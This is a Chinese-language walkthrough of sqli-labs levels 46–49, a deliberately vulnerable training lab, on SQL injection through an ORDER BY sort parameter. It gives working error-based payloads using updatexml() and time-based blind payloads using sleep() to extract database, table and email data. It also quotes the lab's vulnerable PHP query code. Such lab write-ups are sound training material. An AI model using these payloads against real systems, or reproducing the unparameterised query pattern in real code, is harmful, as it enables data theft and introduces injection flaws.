sqli-labs 通关指南:Less 46 ~ 49
Less 46 ~ 49 的网页功能是返回一个列表,因此我们不能借助回显位置进行注入。此时可以根据是否返回报错信息,选择使用报错注入还是时间盲注。
Less 46
判断注入类型
打开网页,这是个新的网页,尝试输入新的参数 sort,网页回显用户名列表。
?sort=1
改变参数 sort 的值,发现返回的列表是根据该表的第 sort 列排序进行回显。
?sort=2
对 sort 参数使用单引号闭合,网页返回错误信息。
?sort=1'
将后面的内容注释掉,网页返回错误的信息。进行下面的所有测试,得出此处存在数值型注入。
?sort=1'--+
?sort=1')--+
?sort=1'))--+
?sort=1"--+
?sort=1")--+
?sort=1"))--+
获取数据库信息
由于此处数据返回的形式是表格,因此我们不能直接利用数据回显的位置。此处可以使用 updatexml() 函数进行报错注入,把敏感信息输出在错误信息中,payload 可以参考 Less 17。爆数据库名。
?sort=1 AND updatexml(1,concat("!",database()),2)#
爆表名。
?sort=1 AND updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#
爆字段名。
?sort=1 AND updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'emails')),2)#
获取目标信息
这次我们获取 emails 表中的信息。
?sort=1 AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 0,1)),1)#
改变 LIMIT 子句后的参数,取出其他数据。
?sort=1 AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 1,1)),1)#
SQL 查询语句
$id = $_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
if ($result)
{
?>
<center>
<font color= "#00FF00" size="4">
<table border=1'>
<tr>
<th> ID </th>
<th> USERNAME </th>
<th> PASSWORD </th>
</tr>
</font>
</font>
<?php
while ($row = mysql_fetch_assoc($result))
{
echo '<font color= "#00FF11" size="3">';
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['username']."</td>";
echo "<td>".$row['password']."</td>";
echo "</tr>";
echo "</font>";
}
echo "</table>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
Less 47
判断注入类型
输入正常参数,网页回显用户名列表。对 sort 参数使用单引号闭合,网页返回错误信息。
?sort=1'
将后面的内容注释掉,网页返回正常的信息,得出此处存在单引号闭合的字符型注入。
?sort=1'--+
获取目标信息
和 Less 46 差不多,使用单引号闭合即可,获取 emails 表中的信息。
?sort=1' AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 0,1)),1)--+
改变 LIMIT 子句后的参数,取出其他数据。
?sort=1' AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 1,1)),1)--+
SQL 查询语句
$sql = "SELECT * FROM users ORDER BY '$id'";
Less 48
判断注入类型
输入正常参数,网页回显用户名列表。对 sort 参数使用单引号闭合,网页无回显。
?sort=1'
将后面的内容注释掉,网页无回显。进行下面的所有测试,得出此处存在数值型的盲注。
?sort=1'--+
?sort=1')--+
?sort=1'))--+
?sort=1"--+
?sort=1")--+
?sort=1"))--+
获取数据库信息
由于此处错误信息不回显,因此我们不能使用 updatexml() 报错注入。此时可以使用时间盲注,在 Less 46 和 Less 47 也可以使用时间盲注,payload 可以参考 Less 9。使用二分法测试数据库名长度为 8。
?sort=1 AND IF(LENGTH(database())=8,sleep(1),1)--+
使用穷举法进行测试,得出数据库名的第一个字符为 “s”。
?sort=1 AND IF(LEFT((SELECT database()), 1)='s',sleep(1),1)--+
接下来得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息。
?sort=1 AND IF(LEFT((SELECT database()), 8)='security',sleep(1),1)--+
SQL 查询语句
$id = $_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
if ($result)
{
?>
<center>
<font color= "#00FF00" size="4">
<table border=1'>
<tr>
<th> ID </th>
<th> USERNAME </th>
<th> PASSWORD </th>
</tr>
</font>
</font>
<?php
while ($row = mysql_fetch_assoc($result))
{
echo '<font color= "#00FF11" size="3">';
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['username']."</td>";
echo "<td>".$row['password']."</td>";
echo "</tr>";
echo "</font>";
}
echo "</table>";
}
Less 49
判断注入类型
输入正常参数,网页回显用户名列表。对 sort 参数使用单引号闭合,网页无回显。
?sort=1'
将后面的内容注释掉,网页用户名列表,得出此处存在单引号闭合的字符型的盲注。
?sort=1'--+
获取数据库信息
使用时间盲注,流程和 Less 48 差不多,使用单引号闭合。得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息。
?sort=1 AND IF(LEFT((SELECT database()), 8)='security',sleep(1),1)--+
SQL 查询语句
$sql = "SELECT * FROM users ORDER BY '$id'";